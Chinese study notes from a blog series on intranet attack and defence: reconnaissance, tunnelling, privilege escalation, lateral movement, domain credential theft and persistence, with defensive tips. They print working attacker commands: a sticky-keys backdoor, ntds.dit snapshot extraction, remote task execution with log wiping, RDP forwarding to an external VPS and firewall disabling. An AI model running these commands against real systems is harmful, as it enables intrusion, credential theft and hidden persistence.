之前DC-1用的metasploit框架在进行漏洞利用,学习内网安全之后今天来实践一下书中提到的cobalt strike渗透测试框架。
内网安全攻防(八)—权限维持
后渗透来到了权限维持这步,再配合对痕迹的清理,基本就完成了攻击计划。权限维持是要留后门backdoor。后门是攻击者留在目标计算机上的一个软件,不容易被发现,用来随时连接,操控受害者的计算机。这省去了每次渗透的成本,即使漏洞被修复仍能通过后门来控制计算机。
也就是说,当我们发现有人入侵我们的计算机时,就应该快速找到攻击者留下的后门,然后快速删掉它。
一、操作系统后门
指的是绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权以及隐蔽控制权的方法
1.粘滞键后门
连按5次shift唤出粘滞键。粘滞键是帮助不能完成按组合键的人设计的。
书本讲述利用粘滞键留后门的思路:
①用可执行文件sethc.exe.bak替换windows\system32目录下的粘滞键可执行文件sethc.exe
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
②之后唤出粘滞键就会弹出命令提示符,会直接以system权限执行系统命令、创建管理员用户、登陆服务器等
使用empire也可以实现
【防御】:
·在远程登陆服务器时,连续按5次shift,判断是否被入侵
·拒绝使用sethc.exe
·在控制面板中关闭启用粘滞键
2.注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Software\Microsoft\CurrentVersion\Run中(键名可以任意设置)
使用empire
【防御】:
·杀软针对这类后门有机制,根据杀软的提示进行删除
3.计划任务后门
回忆一下到win7可以用at调用计划任务,win8之后用schtasks命令调用。而计划任务还分为管理员权限和普通用户权限,管理员可以设置更多任务。
比如,让系统执行每小时执行一次notepad.exe
sthtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
常见任务后门:
①在Metsaploit中的Powershell payloaad web delivery模块,模拟攻击者在目标快速建立会话,该行为不会被写入磁盘因此杀软不会对该行为进行检测
【防御】杀软会告警
②在Powerspolit中的persistence模块,模拟生成一个自动创建计划任务的后门脚本
③在empire中模拟
【防御】
·安装杀软,杀软会告警
·及时打补丁
·使用高强度的密码
4.meterperter后门
使用它自带的后门程序persistence
【防御】杀软会告警
5.Cymotho后门
这是一个可以将shellcode注入现有进程的后门工具
6.WMI型后门
WMI型后门只能由管理员权限的用户执行,通常用powershell命令编写。攻击者可从新的wmi属性中读取、执行后门代码,不会再系统磁盘留下记录。
WMI型后门利用两个特征:
无文件:将代码加密存储在WMI中
无进程:执行后进程消失
empire中的invoke-WMI模块可以模拟
这类后门重启之后目标机器会自动上线
【防御】:
·删除自动运行列表中的恶意WMI条目
·在powershell中用Get-WMIObject命令删除域WMI持久化相关的组件
二、WEB后门
俗称webshell,常见的webshell是由ASP、ASP.NET、PHP、JSP代码写的。恶意代码运行在服务器上
1.Nishang的webshell
nishang是针对powershell的渗透测试工具。存着很多大马
2.weevely后门
python写的针对PHP平台的webshell,功能为:
·执行命令、浏览远程文件
·检测服务器配置问题
·创建TCP shell、Reverse shell
·扫描端口
·安装HTTP代理
3.webacoo后门
webcoo(web backdoor cookie) 针对PHP平台的web后门工具
4.ASPX meterpreter后门
5.PHP meterpreter后门
三、域控制器权限持久化
1.DSRM域后门
DSRM(directory services restore mode,目录服务恢复模式),用来恢复域环境。每个域控制器DC都有一个本地管理员(dsrm)账号,修改DSRM使用工具ntdsutil
注意到:
·如果操作系统为win2008,需要安装KB961320才能使用指定域账号的密码对DSRM的密码进行同步
·如果操作系统为win2003,不能使用该方法来进行持久化操作
DSRM可以作为域控制器的本地管理员账号控制DC
修改DSRM方法
命令行模式下:
·NTDSUTIL:打开ntdsutil
·set dsrm password:设置DSRM密码
·reset password on server null:在当前域控制器上恢复DSRM密码
·<password>:修改后的密码
·q(第一次):退出DSRM密码设置模式
·q(第二次):推出ntdsutil
若OS为win2008并且安装了kb961320,就可以用已存在的域账号密码同步DSRM密码
·NTDSUTIL:打开ntdsutil
·set dsrm password:设置DSRM密码
·sync from domain account domainuername:让DSRM密码与指定域用户同步
·q(第一次):退出DSRM密码设置
·q(第二次):退出ntdsutil
DSRM三个登录方式:
①0:默认值只有当域控制器重启并进入DSRM模式,才使用DSRM管理账号
②1:只有当本地AD、DS停止服务,才可以使用DSRM账号登录DC
③2:在任何情况下都可以使用DSRM账号登录
【防御】:
·定期检查注册表中用于控制DSRM登录方式的键值
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认键值为1,或者删除键值
·定期修改域中所有DC的DSRM账号
·经常检查日志中ID为4794的日志,因为该日志记录了尝试设置DSRM的管理员密码
2.SSP维持域控制权限
SSP(security support provider)是windows安全机制的提供者,是一个DLL文件,用来实现windows操作系统的身份认证功能,例如:NTLM、KERBEROS、Negotiate、Secure Channel、Digest、Credential
SSPI(security supportprovider interface,安全支持提供程序接口):也就是SSP的api接口
当得到目标计算机的system权限,可以该方法持久化。原理:
LSA(local security authority)用于身份验证;lsass.exe是windows的一个进程用来进行本地安全和登陆策略;系统启动时SSP被加载到lsass.exe进程中。
当LSA被写入恶意代码,加载到lsass.exe时就会获取明文密码
【防御】:
·检查HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages项目中是否含有可疑的DLL文件
·检查C;\Windows\System32\ 目录下是否有可以的DLL文件
·用第三方工具检查LSA中是否有可疑的DLL文件
3.SID history域后门
每个域用户有自己的SID,SID的作用是判断权限,进行访问控制。而SID history是域迁移过程的一个重要属性,因为打比方从A域迁移到B域,SID会变,那么员原本访问A域的权限就发生了变化。此时SID history记录着以前的属性,那么就可以实现迁移过后仍可以访问原来的资源。
所以可以利用SID history来实现持久化。所谓注入SID history,简单地说,我有一个恶意用户test,我把admin的SID添加到test 的SID history中,就获得了admin的属性
【防御】:
·经常检查域用户中SID为500的用户
·完成域迁移工作后,对相同SID history属性的用户进行检查
·定期检查ID为4765和4666的日志。4765日志记录了将SID history属性添加到用户的事件,4766为将SID history属性添加到用户失败的日志
4.golden ticket黄金票据
经常讲的krbtgt(是KDC服务使用的账号,输入domain admins组,每个账号的票据由krbtgt生成)当我们发现被入侵,忘记重置krbtgt,攻击者会快速重新拿回DC控制权,因为krbtgt可以伪造域内任意用户身份
如果攻击者在域内要使用黄金票据进行票据传递攻击,需要掌握:
·需要伪造的域管理员用户名
·完整的域名
·域SID
·krbtgt的NTLM Hash或AES-256
【防御】:
修改密码
5.silver ticket白银票据
跟黄金票据区别是,白银票据伪造的是TGS,通过已知的授权服务密码生成一张可以访问该服务的tgt。
票据在生成过程中不需要使用KDC,可以绕过域控制器DC,很少留下日志。黄金票据在利用过程中使用的是KDC颁发的tgt,并且在生成伪造的tgt的20分钟内,TGS不会对TGT真假进行校验
之所以叫白银,我认为它的权限没有黄金票据那么高,不需要达到任意服务伪造为目的去使用krbtgt账号,而是针对性的伪造某个服务,因此被发现的几率比黄金票据要小。
【防御】:
·在内网装杀软,及时更新补丁
·使用组策略在域中配置,限制mimikatz在网络中使用
·计算机账号密码默认每30天更改一次,检查是否生效
6.Skeleton Key
使用skeleton key万能密码。可以对域内权限进行持久化操作
7.Hook passwordChangeNotify
攻击者利用它实现获取用户修改密码时的明文密码
四、Nishang下的脚本后门
总结:我在没有完整学习完所有渗透流程之前学习内网安全,我自认为能明白其中近7成概念、理念。内网安全跟常规渗透流程既有相似处又有其特点。往往我们关注特定的服务、日志、功能等,说到底还是回到了人的安全。学习这一书很多时候攻击者能利用漏洞,也是在利用人的漏洞。作为安全专业的人员,我们必须时刻提醒我们要符合安全规范,不要贪图省事省力而放松了规则的制定,并且要处处留心眼,及时发现异常之处。
而在阅读ATT&CK框架一书,我能明显感觉理解上些许吃力,但信号我先阅读了内网安全一书,对于ATT一书的许多概念不至于陌生。触类旁通,我以本书知识去学习其他内容是更为帮助我理解、思考,因此我认为这段时间阅读本书时十分有意义的,我将继续不断学习。
内网安全攻防(七)—跨域攻击
之前内网安全了解到在企业内网一般是通过域林进行共享资源,而上一次提到的横向移动只是在单独的域内进行攻击,因此本次学习的是如何跨域进行攻击。
跨域攻击:常规渗透;利用已知域散列值进行哈希传递攻击或者票据传递攻击;利用域信任关系进行跨域攻击
—利用域信任关系的跨域攻击—
一般来说域环境只会接受来自受信任的域的凭证。
域信任关系:
·单向信任、双向信任
·内部信任、外部信任
1.单向信任
A域信任B域,则B域既可以访问A域也能访问B域
2.双向信任
信任域与受信任域彼此信任。在活动目录AD中所有域信任关系都是双向可传递的。
3.内部信任
默认使用AD添加新域到域树或者林根域中,自动创建双向受信关系,当前域树中的域之间的信任关系是内部信任,可传递
4.外部信任
两个不同林中的域的信任关系,不可传递。但是林信任关系不一定。
在windows 中,只有 Domain Admins组中的用户可以管理域信任关系。
—获取域信息—
在域中,Enterprise Admins组(仅在林的根域中)的成员有对目录林中所有域的完全控制权限。
使用工具[LG.exe]可以枚举远程主机用户和组的信息
—利用域信任密钥获取目标域的权限—
—利用krbtgt散列值获取目标域的权限—
—外部信任和林信任—
—利用无约束委派和MS-RPRN获取信任林权限
内网安全攻防(六)—域控制器安全
之前文章我提过,域控制器负责让域中进行交互,提供了验证。由于活动目录AD始终访问:
C:\Windows\NTDS\ntds.dit 这一文件,这个文件保存着活动目录所有的数据,是个二进制文件,它禁止被读取。可通过windows本地卷影拷贝服务获得文件副本。关于域控制器安全,很大一部分关注ntds.dit的安全。
一、VVS提取ntds.dit
本地卷影拷贝服务(volume shadow copy service,VSS)就好比玩虚拟机时经常使用的快照功能,所以按道理说启用这个服务可以找到系统文件的拷贝,也就存有一定的敏感数据,类比快照,它的功能主要是备份和恢复。
ntsd.dit保存的位置:域控制器的%SystemRoot%\ntds\ntds.dit
下面介绍使用几个不同工具提取ntds.dit的思路:
1.通过ntdsutil.exe提取
该工具在域控制器就有,是一个用于维护和管理AD的命令行工具
支持的os:win2003、win2008、win2012
使用步骤:
①创建快照
ntdsutil snapshot “active instance ntds” create quit quit
②加载刚才的快照到另一个目录下
ntdsutil snapshot “mount {GUID}” quit quit
③将快照复制到其目录,本例子复制到C盘
copy C:\SNAP_201808131112_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
④做完事情要擦手,卸载并且删除之前加载的快照
ntdsutil snapshot “unmount {GUID}” “delect {GUID}” quit quit
2.利用vssadmin提取
该工具用来创建删除卷影拷贝,列出信息,改变大小等。
支持的os:win2008和win7
使用思路与ntdsutil相似
3.利用vssown.vbs
该工具用于创建和删除卷影拷贝,启动和停止卷影拷贝
4.利用ntdsutil的IFM创建卷影拷贝
5.使用disk shadow导出ntds.dit
diskshadow代码是由微软签名的,在win2008、win2012、win2016都默认含有它,位于:C:\windows\system32
[导出ntds.dit后还要转储system.hive,得到ntds.dit的密钥]
6.监控VSS的使用情况
从上述几点不难看出攻击者利用VSS来进行ntds.dit的盗取,那么我们必须监控VSS的使用情况以及时发现异常。
·监控vss以及涉及到ntds.dit的可疑行为
·监控system event id 7036(这是vss运行的标志)的可疑实例
·监控创建diskshadow.exe以及相关子进程的事件
·监控客户端设备出现的diskshadow.exe实例创建事件。在windows操作系统中,不应该出现diskshadow.exe,发现要立即删除
二、导出ntds.dit中的散列值
1.使用esedbexport恢复ntds.dit
2.使用impacket工具包导出散列值
3.在windows下解析ntds.dit并导出域账号或散列值
使用NTDSDumpex.exe导出
三、利用dcsync获取域散列值
四、使用Metasploit获取域散列值
五、使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值
六、Kerberos域用户提权漏洞
漏洞原理:攻击者伪造票据声明自己有域管理员权限,而KDC在处理时未验证票据签名就分发了带有管理员权限的票据
内网安全攻防(五)—域内横向移动
当拿到域中某台设备,骇客会以其为跳板横向渗透其他设备,最终获得所有设备权限。
一、常用windows远程连接
通常来说,我们在渗透测试要拿到的一些关键资源包括了目标计算机的用户明文密码或者NTLM Hash,通过PTH(pass the hash凭据传递)把得到的信息发送到目标机器进行验证,我们就获得了目标机器的使用权,建立连接后就能远程执行命令了。
1.IPC internet process connection
这是为了实现进程之间通信而开放的命名管道。通常在远程管理计算机和查看计算机的共享资源时使用。
ipc$:
利用条件:
(1)开启了139、445
(2)管理员开启默认共享
建立ipc$连接远程目标计算机
net use \\ipaddress\ipc$ “password” /user:username
查看当前链接
net use
2.使用windows自带的工具获取远程主机信息
(1)dir命令
建立了连接后,用dir查看文件列表:
dir \\ipaddress\c$
(2)tasklist命令
用来查看进程
tasklist /S address /U username /P password
3.计划任务
(1)at命令:
用于创建计划任务的命令,主要应用在windows server 2008之前。所以如果测试的计算机使用的os是符合条件的版本,那么可以使用at命令在远程目标机器创建计划任务:
·使用copyd命令将payload文件复制到远程目标计算机中
·使用at命令定时启动该payload文件
·删除使用at命令创建计划任务的记录 //抹去证据防止被查
上述需要先建立ipc$作为前提
下面是at命令使用过程:
①查看目标系统时间,攻击者很喜欢抹去或者修改文件的时间
net time \\ipaddress
②将文件复制到目标计算机中
先创建一个calc.bat文件,内容为“calc”(在运行界面输入calc会弹出计算器)。也就是说这一步的目的是为了让计算机在某一时刻启动计算器。
copy calc.bat \\ipaddress\C$
上述命令目的是把刚才的bat文件传到目标计算机的C盘
③使用at创建任务
知道目标系统的时间之后,指定程序在计划时间启动
at \\ipaddress 4:11PM C:\calc.bat
Added a new job with job ID 7
创建ID为7的计划任务,在下午4点11分运行C盘的calc.bat文件
④清除at记录
任务记录会一直存在,攻击者不想被网络管理员发现,就会抹去记录
at \\ipaddress 7 /delect
删除ID为7的任务
现将结果写在本地文件,然后用type远程读取该文件,如下:
at \\ipaddress 4.11PM cmd.exe /c “ipconfig >C:/1.txt”
然后用type远程读取:
type \\ipaddress \C$\1.txt
经过实际测试,at命令如果不键入远程ip地址就默认是在本地进行计划。并且注意,在windows vista和2008之后at命令被废弃,应该使用schtasks命令
(2)schtasks命令
①创建test计划任务,该计划在开机时启动C盘下的calc.bat,权限为system
schtasks /create /s ipaddress /tn test /sc onstart /tr c:\calc.bat \ru system /f
②远程执行
schtasks /run /s ipaddress /i /tn “test” /f
③删除ipc$
net use 名称 /del /y
使用schtasks命令,会在系统留下日志文件C:\Windows\Tasks\SchedLgU.txt
二、windows系统散列值获取
LM Hash、NTLM Hash是两种用户明文密码进行加密的方法。在域中,用户信息存储在 ntds.dit中
windows密码一般由两部分:LM hash和NTLM Hash组成,结构为:
username:RID:LM-HASH:NT-HASH
注意!win2008之后LM hash被禁用,此时抓取到的LM Hash的值为
“aad3b435b51404eeaad3b435b51404ee” //这就表示其为空值或被禁用
1.单机抓取
我们要知道只有SYSTEM权限能抓散列值或者明文密码,本地用户名、散列值和其他验证信息都存在SAM文件中。
而lsass.exe进程是用来windows的安全策略,攻击者会用工具从内存的lsass.exe进程或者SAN文件导出敏感信息
其中,SAM文件地址在:C:\Windows、System32\config. 攻击者再关闭windows操作系统后用PE盘进入文件管理环境,直接复制SAM文件 //?阿这我没太理解,也许是攻击者获取了物理设备能这么搞吧
【工具】GetPass、PwDump7、QuarksPwDump
下面是提取的思路
①通过SAM和System文件抓取密码
②使用mimikatz在线读取SAM文件
③使用mimikatz离线读取lsass.dump文件
④使用Powershell对散列值进行Dump操作
⑤使用Powershell远程加载mimikatz抓取散列值和明文密码
【防御】:
win2012 以及以后关闭了Wdigest,攻击者无法从内存获取明文密码
win2012以及之前的下载补丁 KB2871991也可以阻止获取明文密码
2.使用Hashcat获取密码
它可以使用GPU来对密码来进行破解
三、哈希传递攻击
哈希传递攻击pass the hash 。获取域中一个管理员账号密码,就相当于获得其他本地管理员的账号密码
注意,随着安全意识提高,windows sever 2012 R2之后,默认在内存中不会记录明文密码
四、票就传递攻击
mimikatz的哈希传递功能需要本地管理员权限。mimikatz也有不需要权限也能横向渗透的方法,比如票据传递(pass the ticket,PTT)
[防范]:
·使用dir的时候,使用主机名,不用IP地址
·票据文件注入内存的默认有效时间为10小时
·在目标机器上不需要本地管理员权限即可进行票据传递
五、PsExec
这个软件是win用来运维的,一般在杀软白名单里
运行在windows vista\2000\xp\server 2003\ server 2008\server 2012\server 2016
六、WMI
windows management instrumentation.从win98就开始支持,可以在本地或远程管理计算机
因为越来越多安全厂商吧PsExec加入黑名单,所以转而用这个技术进行横向渗透,还有一个重大原因是,使用WMI不会记录在系统日志。
八、smbexec
可以通过文件共享(admin$、c$、ipc$、d$)在远程计算机系统执行命令
九、DCOM在远程系统中使用
十、SPN在域环境中使用
十一、exchang、邮件服务器安全
内网安全攻防(四)—权限提升
介绍windows下四种权限:
1.User:普通用户权限,能做的事最少因此最安全
2.Administrator:管理员权限。可以提权到System级别操作SAM文件
3.System:系统权限,可以对SAM等敏感文件进行读取,对散列值进行Dump操作
4.TrustedInstaller:这是windows中最高级别权限。对于系统文件能进行修改
提权方法:
1.纵向提权:低等级权限获得高权角色权限
2.横向提权:获取另一个和当前权限一样的角色的权限
常用提权方法:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方服务/软件提权等
一、系统内核溢出漏洞提权
参考复现DC-1靶场利用漏洞的思路方法
二、windows配置错误
常见利用:管理员凭据错误、服务配置错误、故意削弱的安全措施、用户权限过高
(1)、系统服务权限配置错误
(2)、注册表键AlwaysInstallElevated
(3)、可信任服务路径漏洞
该漏洞:包含空格并且没有被引号包裹,让存在缺陷的服务程序利用了属于可执行文件/文件夹的权限
如果一个服务的可执行文件的路径没有被双引号包起来并且含有空格,那么这个服务是有漏洞的!
原因:windows服务以system权限运行,系统解析服务对应的文件路径中的空格也会是以系统权限进行,那么对于路径中每一个空格,windows会找到并且执行与空格前面名字相匹配的程序。
直白的说,黑客配合文件上传漏洞,或和上传功能,将恶意程序上传到特殊路径,然后利用某个服务的漏洞修改服务的可执行文件的路径,也就是把恶意文件的路径加入其中,那么当服务重启,windows就会以系统权限执行恶意程序。
思路:metasploit下
1,查看是否存在可以利用的漏洞,输入下面命令能看到没有被引号包围的服务的路径
wmic service get name,displayname,pathname,startmode | findstr /i “Auto” |findstr /i /v “C:\Windows\\” | findstr /i /v “””
2.如果发现有含空格的路径,说明有漏洞,那么下面就是检测是否对目标文件夹有“写”的权限。使用工具“icacls”检查刚才得到的含有空格的路径。
权限:
·Everyone:所有用户都能修改
·(M):修改
·(F):完全控制
·(CI):从属容器将继承访问控制项
·(OI):从属文件将继承访问控制项
3.发现了漏洞并且能写入,就要修改路径并且重启服务了:
sc stop service_name
sc start service_name
(4)、自动安装配置文件
管理员配置多个设备会使用脚本,有时候会泄露账号密码
(5)、计划任务
查看计划任务:schtasks /query / fo LIST /v
(6)Empire内置模块
三、组策略首选项提权
SYSVOL是一个共享文件夹,它在活动目录AD里用于存储公共文件服务器副本,在域中的所有域控制器DC之间进行复制,自动同步以及共享。
所有组策略放在:C:\Windows\SYSVOL\DOMAIN\Policies\目录中
存在这么一种情况:所有的机器的本地管理员密码是相同的(有些人他就是不记得修改默认密码),也就是得到一台机子密码就得到所有管理员密码了。
【防御】2014微软修复该漏洞,不再将密码保存在组策略首选项中
·设置共享文件夹SYSVOL的访问全新啊
·把包含组策略密码的XML文件从SYSVOL目录中删除
·不要把密码放在所有域用户都有访问权限的文件中
·更改本地管理员密码
四、绕过UAC提权
对于版本比windows vista更高级别的os,如果权限不够,访问系统磁盘的根目录、windows目录、program files 目录、以及进行读写系统登录数据库(registry)的程序等操作,都需要经过UAC(user account control,用户账户控制)的认证
在win10很常见试图修改某些东西的时候都是会弹窗通知的,UAC有四种要求:
1.始终通知
2.仅在程序试图更改我的计算机的时候通知我
3.仅在程序试图改变我的计算机的时候通知我,但是不改变桌面亮度
4.从不提示
【防御】不让内网机器的使用者拥有本地管理员权限
五、令牌窃取
首先token是方便验证身份不用总是输入账号密码,但是如果token被别人获取,那么他人就可以冒充身份访问资源。
令牌产生是随机的不可预测的。
1.访问令牌(access token):代表访问控制操作主体的系统对象
2.密保令牌(security token):也叫认证令牌、硬件令牌,物理设备
3.会话令牌(session token):交互会话中唯一标识
【防御】:
1.对令牌时效性限制
2.加密令牌
3.使用加密链路SSL、TSL传输防止令牌被窃取
六、无凭证条件下的权限获取
两个概念:LLMNR、NetBIOS欺骗攻击
1.LLMNR本地链路多播名称解析
当DNS不能用,DNS客户端就会启用LLMNR解析本地网段中机器的名称,查询范围仅限于本地子网
2.NetBIOS
是一种网络协议,一般在由十几台计算机组成的局域网中,不支持IPv6
·NetBIOS-NS(名称服务):用于名称注册和解析,以启用会话和分发数据包,需要用域名服务器来注册NetBIOS的名称。默认监听UDP137端口
·datagram distribution service(数据包分发服务):无连接服务。负责进行错误检测和恢复,默认监听UDP138端口
·session service(会话服务):允许两台计算机建立连接提供错误检测和恢复,默认使用TCP 139端口
Net-NTLM Hash
NTLM Hash 用来保存win用户的密码散列值,保存在SAM文件(所以才要足够高的权限才能拿)或者NTDS.DIT数据库中。
Net-NTLM Hash:是网络中经过NTLM认证的散列值。挑战/响应验证中“响应”包含了Net-NTLM Hash。
工具:responder //可以监听LLMNR和NetBIOS
内网安全攻防(三)–隐藏通信隧道技术
隐藏通信信息隧道技术用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的信息传输。
咱也就是说这是进内网了留个通道传数据
常用隧道:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
一、判断内网连通外网情况
通过多种协议判断,常见允许流量出站端口号:80、8080、443、53、110、123等
1.ICMP协议
用内网机器ping外网ip
2.TCP协议
实用工具NC,也就是之前文章使用过的“军刀”,在内网机器下载nc,执行:
nc -zv ipaddress portnumber
3.HTTP协议
使用工具 curl
linux:系统自带。
windows:需要下载。
用法: curl ipaddress:portnumber
4.DNS协议
常用命令:nslookup、dig
nslookup(windows自带):nslookup ipaddress vps-ip
dig(linux自带):dig @vps-ip ipaddress
当流量不能直接出站,就需要在内网中使用代理服务器
a.查看网络连接,是否存在与其他机器的8080等端口的连接(可运行 ping -n l -a ip)
b.查看内网主机名有无带“proxy”的机器
c.查看浏览器的直接代理
d.根据pac文件的路径(可能是本地可能是远程)将其下载查看
e.用工具:curl ipaddress //不通
curl -x proxy -ip:port ipaddress //通
二、网络层隧道技术
最常用IPv6和ICMP
1.IPv6隧道
以IPv4作为隧道载体,把IPv6报文封装在IPv4报文内部,使IPv6报文能够传递。
目前很多边界设备、防火墙、IPS、IDS无法识别IPv6的通信数据,而大多数操作系统支持IPv6,所以需要进行人工配置。也就是说,攻击者可以利用和一点来绕过安全设备。
隧道技术有配置隧道和自动隧道,区别在于:
只有执行隧道的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。
配置隧道要求隧道末端节点使用其他机制获取IPv4地址
支持IPv6的隧道工具:socat、6tunnel、nt6tunnel等
【防御】:了解ipv6的具体漏洞,用防火墙和纵深防御来过滤ipv6通信
2.ICMP隧道
常用ICMP隧道工具:icmpsh、PingTunnel、icmptunnel、power shell icmp等
【防御】:由于使用ICMP隧道会产生大量ICMP报文,可以通过检测来分析流量
·检测来自同一来源的ICMP报文。ping一般每秒最多发2个数据包,但使用ICMP隧道的浏览器会产生上千ICMP数据包
·注意payload大于64bit的ICMP数据包
·寻找响应数据包中的payload与请求包的payload不一致的ICMP数据包
·检查ICMP数据包的协议标签。例如,icmptunnel会在所有ICMP payload前添加“TUNL”
三、传输层隧道
当内网防火墙阻止对指定端口访问,在获取目标机器之后,可以使用IPTABLES打开指定端口(linux)
1.lcx端口转发
lcx是最经典的端口转发工具,它基于socket套接字实现端口转发。
在windows版本:lcx.exe
在linux版本:portmap
内网端口转发
(1)使用命令把目标机器3389端口所有数据转发到公网VPS的4444端口上:
lcx.exe -slave 公网ipaddress 4444 127.0.0.1 3389
(2)在VPS这台机器执行命令,把本机4444端口监听到的的数据转发到5555端口
lcx.exe -listen 4444 5555
(3)用 mstsc 连接远程桌面。用mstsc登录 公网ipaddress:5555,或者在VPS用mstsc登陆主机127.0.0.1:5555,用这两种方式访问目标服务器3389端口
本地端口映射
若防火墙把3389ban了不给过,此时可以将目标服务器的相应端口的数据透传到防火墙允许的端口,比如转到53。在目标主机执行,允许远程连接目标主机的53端口
lcx -tran 53 目标主机ipaddress 3389
2.netcat
之前实验用过netcat,可以查看以前文章
此处说明一下在内网环境,如果我们获取了web服务器权限,但是从外网无法直接访问其他内网服务器,就可以把web服务器作为代理服务器,反弹shell。这样的思路叫做内网代理。
四、应用层隧道技术
应用软件提供的端口来发送数据
1.ssh协议
【本地转发】
因为大部分防火墙都会通过ssh所以很多时候黑客会利用ssh协议传输数据
类似的,一般都用内网中被控制的机器作为跳板,去访问其他机器。
ssh -CfNg -L 1111(黑客机port) : 1.1.1.1(目标机器) :3389(目标port) root@192.168.1.11(跳板机)
然后输入跳板机密码,就实现了黑客机连接目标主机。也就是说这是通过web来访问目标机3389
用命令查看连接情况:
netstat -tulnp | grep “1111” //查看端口监听情况
rdesktop 127.0.0.1:1111 //在黑客机看1111情况
【远程转发】
有种情况,黑客机不能访问内网,但是内网中的web服务器可以访问外网,那么,我们可以通过web服务器让黑客机的数据转发到目标机的3389端口。
在我们获取的web服务器输入:
ssh -CfNg -R 2222(黑客机port) : 1.1.1.10(目标主机) :3389 root@192.168.1.4(黑客机)
【本地转发和远程转发】
本地转发,黑客机的指定端口接收远程主机(目标机)某个端口的数据
远程转发,黑客机利用ssh隧道,将所有访问远程主机(目标机)指定端口的数据传到本机对应端口
【动态转发】
动态端口映射是建立一个ssh加密的socks 4/5代理通道
【防御】:
设置白名单,指定ip才能连ssh
2.HTTP、HTTPS协议
【用处】HTTP Service代理用于将所有流量转发到内网。
【工具】reGeorg、meterpreter、tunna等
【意义】使用HTTP隧道进行端口转发,不仅攻击者可以直接访问web服务器3389,而且暴力破解产生的流量特征不明显。所以我们平时维护要注意监控HTTP隧道情况
3.DNS协议
【用处】激增的DNS流量可能会被发现,但是基于传统的Socket隧道已经濒临淘汰。DNS、ICMP、HTTP/HTTPs由于难以被禁用,成为了攻击者控制隧道的主流渠道
为啥?因为你要域名解析就要用DNS,注意的是防火墙和入侵检测大都不会过滤掉DNS流量,DNS报文本身可以说是有穿透防火墙的能力
C&C服务器(command and control server)
用于管理僵尸网络以及进行APT攻击的服务器,分为:服务端(攻击者)—客户端(被控制的计算机)
C&C通信:植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信
DNS隧道技术其实用来实现C&C通信的,DNS解析预期返回一个ip地址,但是注意,返回的可以是任意字符串,包括加密的C&C指令。DNS隧道原理就是用DNS报文封装其他协议报文
使用DNS隧道的思路:
(1)查看DNS连通性
查看当前服务器是否允许通过内部DNS解析外部域名
cat /etc/resolv.confi|grep -v ‘#’ //查询当前内部域名和ip地址
nslookup hacke.testlab //查看能否与内部DNS通信
nslookup baidu.com //查看能否通过内部DNS服务器解析外部域名
(2)工具
dnscat2:
该工具使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。
两个模式:直连模式、中继模式
iodine:kali内置
【防御】:
·禁止网络中任何人向外部服务器发送dns请求,只允许与受信任的DNS服务器通信
·将邮件服务器、网关列入白名单并阻止传入和传出流量的TXT请求
·跟踪用户的DNS查询次数
·阻止ICMP
五、SOCKS代理
socks4:仅支持TCP协议
socks5:除了TCP,还支持各种身份验证机制,标准端口为 1080
socks能实现与目标内网计算机进行通信,避免多次端口转发
[工具]:EarthWorm、reGeorg、Socks、SocksCap64、Proxifier、ProxyChains
六、压缩数据
【意义】传得快
【工具】RAR、7-Zip
七、上传下载
假设情况不能上传shell但是可以执行命令的windows服务器,可以在shell命令行环境中对目标服务器进行上传和下载。
上传:
1.利用FTP
2.利用VBS
3.利用Debug
4.利用Nishang
下载:
1.利用bitsadmin
2.利用powershell
内网安全攻防(二)
内网信息收集
既然是研究内网了,相当于是说我们已经拿到一台机器,判断它所处的位置(逻辑),分析它的身份(上是否是内网里的机器,是什么样的机器)。。。。。
主要思考三个方面:
1.当前机器的角色
web服务器;开发测试服务器;公共服务器;文件服务器;代理服务器;DNS服务器;存储服务器等
2.当前机器所处网络环境的拓扑结构
3.当前机器所处的区域
收集本机信息
一、手动搜集
搜集本机:os;权限;内网IP地址段;杀毒软件;端口;服务;补丁更新频率;网络连接;共享;会话等
假设拿到一台主机是Windows操作系统
1.查询网络配置:
ipconfig /all
2.查询操作系统及软件的信息
查询os和版本信息
systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
如果是中文版os
systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本”
查系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查询安装的软件以及版本
wmic product get name,version
如果使用powershell来查
powershell “Get-WmicObject -class Win32_Product |Select-Object -Property name,version”
3.查询本机服务
wmic service list brief
4.查询进程列表
查看进程用户,分析软件,邮件客户端,VPN,杀软等
tasklist
查看进程信息
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtask /query /fo LIST /v
7.查看开机时间
net statistics workstation
8.查看用户列表
net user
通过分析用户列表,总结出内网机器的命名规则,于是可以推出其他机器的名称,进而知道整个域
获取本地管理员信息
net localgroup administrators
看当前在线用户
query user || qwinsta //测试不成功
9.列出或者断开本地计算机与所连接的客户端之间的会话
net seesion
10.查看端口
netstat -ano //端口信息可以参考之前关于信息收集文章中的端口
11.查看补丁
systeminfo
查看安装在系统的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查询本机共享列表
net share
或者用
wmic share get name,path,status
13.查询路由表以及可用接口的ARP缓存表
arp -a
14.防火墙
关闭win2003之前的防火墙:netsh firewall set opmode disable
关闭win2003之后的防火墙:netsh advfirewall set allprofiles state off
查看防火墙配置
netsh firewall show config
修改防护墙配置
win2003之前:netsh firewall add allowedprogram c:\nc.exe “allow nc” enable
win2003之后:
(1)允许指定程序进入
